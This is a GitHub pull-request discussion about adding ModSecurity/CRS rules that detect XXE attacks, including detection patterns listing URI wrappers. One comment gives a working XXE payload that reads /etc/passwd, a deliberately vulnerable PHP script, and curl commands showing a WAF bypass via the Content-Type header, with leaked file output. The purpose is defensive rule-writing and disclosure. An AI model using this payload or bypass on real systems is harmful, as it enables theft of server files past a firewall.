Skip to content
This repository has been archived by the owner on May 14, 2020. It is now read-only.

XML attack rules file 945000 #1320

Closed
wants to merge 1 commit into from
Closed

XML attack rules file 945000 #1320

wants to merge 1 commit into from

Conversation

theMiddleBlue
Copy link
Contributor

related to #1319 this PR adds a new rule file for XXE attacks. This file adds 2 rules in PL1, 1 rule in PL2 and 1 rule in PL3:

I'm trying to define something like this:

  • PL1: block XXE attacks that uses SYSTEM or PUBLIC to exploit a LFI/RFI
  • PL2: block any kind of requests that includes the <!ENTITY tag using SYSTEM or PUBLIC
  • PL3: block any requests with <!ENTITY in the body

It would be nice If someone can run and check all regression tests. Any help/comments is really appreciated.

thanks!

@theMiddleBlue
Copy link
Contributor Author

the regression test fails:/ I'll try to understand why asap.

@spartantri
Copy link
Contributor

Good start @theMiddleBlue , could you also add at least urldecode :)

@theMiddleBlue
Copy link
Contributor Author

thanks @spartantri

you're right, I'm adding it. I'm trying to replicate what travis does with regressions, I'll update this PR after a rebase

@spartantri
Copy link
Contributor

could you also add jdbc to your list of patterns? file|http|https|ftp|php|zlib|data|glob|phar|ssh2|rar|ogg|expect|zip|jdbc

don't you prefer to lowercase everything? and use <!entity instead?

can we rename this to xml-attacks instead of xxe? so we can address entity expansion as well

@spartantri
Copy link
Contributor

Here is a link to sample payload of entity expansion

@theMiddleBlue
Copy link
Contributor Author

could you also add jdbc to your list of patterns?

done, thanks!

don't you prefer to lowercase everything? and use <!entity instead?

I don't know if lowercase <!entity is valid, is it? in my PoC, PHP give me an error with syntaxes like <!entity or <! ENTITY or < !ENTITY, etc... should it be related to how libxml works? Anyway, if you don't see any possible FPs, I agree with lowercase all the things!

can we rename this to xml-attacks instead of xxe? so we can address entity expansion as well

totally agree!

thank you!

@theMiddleBlue
Copy link
Contributor Author

(any suggestion on why the travis regression test fails?)

@theMiddleBlue theMiddleBlue changed the title add XXE 945000 XML attack rules file 945000 Mar 6, 2019
@theMiddleBlue
Copy link
Contributor Author

theMiddleBlue commented Mar 6, 2019

ok, I managed to make it works. It seems that it was related to the content-type application/xml I used in all tests. With Apache, it stuck at XML parser error: XML: Failed parsing document (not the same behavior with nginx).

I'm changing it with text/html just to make Travis works

@dune73
Copy link
Contributor

dune73 commented Mar 7, 2019

Nice contribution. Thank you. Obviously there are several small issues, but you are heading in a good direction here. I think we need to test this extensively before we include it, but it looks very interesting.

Detection regex

ModSec recommended rules detects XML with the following regex:

SecRule REQUEST_HEADERS:Content-Type "(?:application(?:/soap\+|/)|text/)xml" \

Numbering

Please start the real rules of the new group at 9xx100.

Separate file

What is the opinion of the other project members about the new and separate rule file. It might fit into 921 too, would not it?
I agree that the 945000 rule would be much more tricky to do in 921.

Switch on and off

945000 should be handled in the crs-setup.conf.

PL tags

945110 and 945120 are tagged as PL1.

@theMiddleBlue
Copy link
Contributor Author

thanks @dune73, I've added some fixes based on your comment. I take some time to define better 945000 and put it in crs-setup.conf. I also want to make regression test works using application/xml as CT... I really don't know why it doesn't.

@theMiddleBlue
Copy link
Contributor Author

I've put this on hold because, unfortunately, I've realized only now that it won't work on v2 (I've always tested it on v3). The problem is that, with the XML Processor, the REQUEST_BODY variable doesn't exist and we can't copy it to something like tx.reqbody. I try to ask for help on ModSecurity git repo, let's see... 😞

@theMiddleBlue
Copy link
Contributor Author

theMiddleBlue commented May 31, 2019

referring to a conversation on the slack channel, unfortunately, I can confirm that the "missing REQUEST_BODY variable" with XML and JSON body processor could lead to many WAF evasion especially with XXE.

basically, the problem is that the ModSecurity rule 200000 in phase:1 set the body processor to XML if the content-type match (?:application(?:/soap\+|/)|text/)xml and makes the REQUEST_BODY variable unavailable for any other rules. This means that a user can decide arbitrarily to "flush" the REQUEST_BODY variable just by setting the Content-Type to application/xml.

I've got a working PoC for that, this works only on v2 and not on v3 (just because a bug :D but the good news is that @airween is working on a patch):

a vulnerable PHP script

<?php
    $data = file_get_contents('php://input');
    $xml = simplexml_load_string($data);
    echo $xml->name;

this is just an example of an app that doesn't care about content-type.

XXE payload

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>

PoC 1: blocked

env: Apache + modsec v2 + this XML attack ruleset

sending the request with content-type application/x-www-form-urlencoded:
curl -v -d @./xxe.xml 'http://localhost/simplexml_load_string.php'

blocked by:

  • [id "930120"] [msg "OS File Access Attempt"]
  • [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"]
  • [id "941100"] [msg "XSS Attack Detected via libinjection"]
  • [id "941130"] [msg "XSS Filter - Category 3: Attribute Vector"]
  • [id "945100"] [msg "XML eXternal Entity: LFI/RFI using wrapper"]
  • [id "945110"] [msg "XML eXternal Entity: Local File Inclusion attempt"]

PoC 2: bypass

env: Apache + modsec v2 + this XML attack ruleset

sending the request with content-type application/x-www-form-urlencoded:
curl -v -H 'content-type: application/xml' -d @./xxe.xml 'http://localhost/simplexml_load_string.php'

bypass all rules:

root@mywebsite:~/xxe# curl -v -H 'content-type: application/xml' -d @./vulhub.xml 'http://localhost/simplexml_load_string.php'
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to localhost (127.0.0.1) port 80 (#0)
> POST /simplexml_load_string.php HTTP/1.1
> Host: localhost
> User-Agent: curl/7.58.0
> Accept: */*
> content-type: application/xml
> Content-Length: 149
>
* upload completely sent off: 149 out of 149 bytes
< HTTP/1.1 200 OK
< Server: Apache
< Content-Type: text/html; charset=UTF-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< Vary: Accept-Encoding
< Host: localhost
< X-Powered-By: PHP/7.0.30
< Date: Fri, 31 May 2019 08:51:02 GMT
< Cache-Control: max-age=0, no-cache
<
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
...

the good news is that @airween is working on a patch that makes REQUEST_BODY available even if the bodyprocessor is set to XML. I've just tested it with him, and it works!

@theMiddleBlue
Copy link
Contributor Author

as discussed during the CRS meeting, I'm closing this until we reach a solution with ModSecurity v2 and libmodsecurity (v3).

@theMiddleBlue
Copy link
Contributor Author

just to keep track of interesting article about XXE (hoping we'll have a rule set to cover this attack):
https://www.gosecure.net/blog/2019/07/16/automating-local-dtd-discovery-for-xxe-exploitation?utm_content=96543886&utm_medium=social&utm_source=twitter&hss_channel=tw-4775943203

@theMiddleBlue
Copy link
Contributor Author

A Deep Dive into XXE Injection:
https://www.synack.com/blog/a-deep-dive-into-xxe-injection/

@jra89
Copy link

jra89 commented Dec 20, 2019

Is there any more progress made on this? :)

@dune73
Copy link
Contributor

dune73 commented Dec 25, 2019

Unfortunately not. Working with the ModSecurity developers is taking a lot of time. Not sure about the status of the patch by @airween, though.

@airween
Copy link
Contributor

airween commented Dec 26, 2019

I think we need to align this subset for v2.

The behavior of v3 from the point of REQUEST_BODY handling is wrong, see 2045 and 2146 issues under ModSecurity. May be the 3.1 will contains the fix, but I don't know about anything.

The patch what I made is just a workaround, and it aligned the v3 to v2, so if the ModSecurity would contains that, this ruleset (945) in this format wouldn't work with v3 too.

I think we need to reform this subset that the engine uses the REQUEST_BODY. See the reference:
https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual-(v2.x)#request_body
https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual-(v2.x)#ctl - especially the last block:

The forceRequestBodyVariable option allows you to configure the REQUEST_BODY variable to be set when there is no request body processor configured. This allows for inspection of request bodies of unknown types.

But I'm not sure that this will works - don't know how can we turn on the REQUEST_BODY variable when CT is application/xml, if the engine follows the documented behavior.

Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Projects
None yet
Development

Successfully merging this pull request may close these issues.

5 participants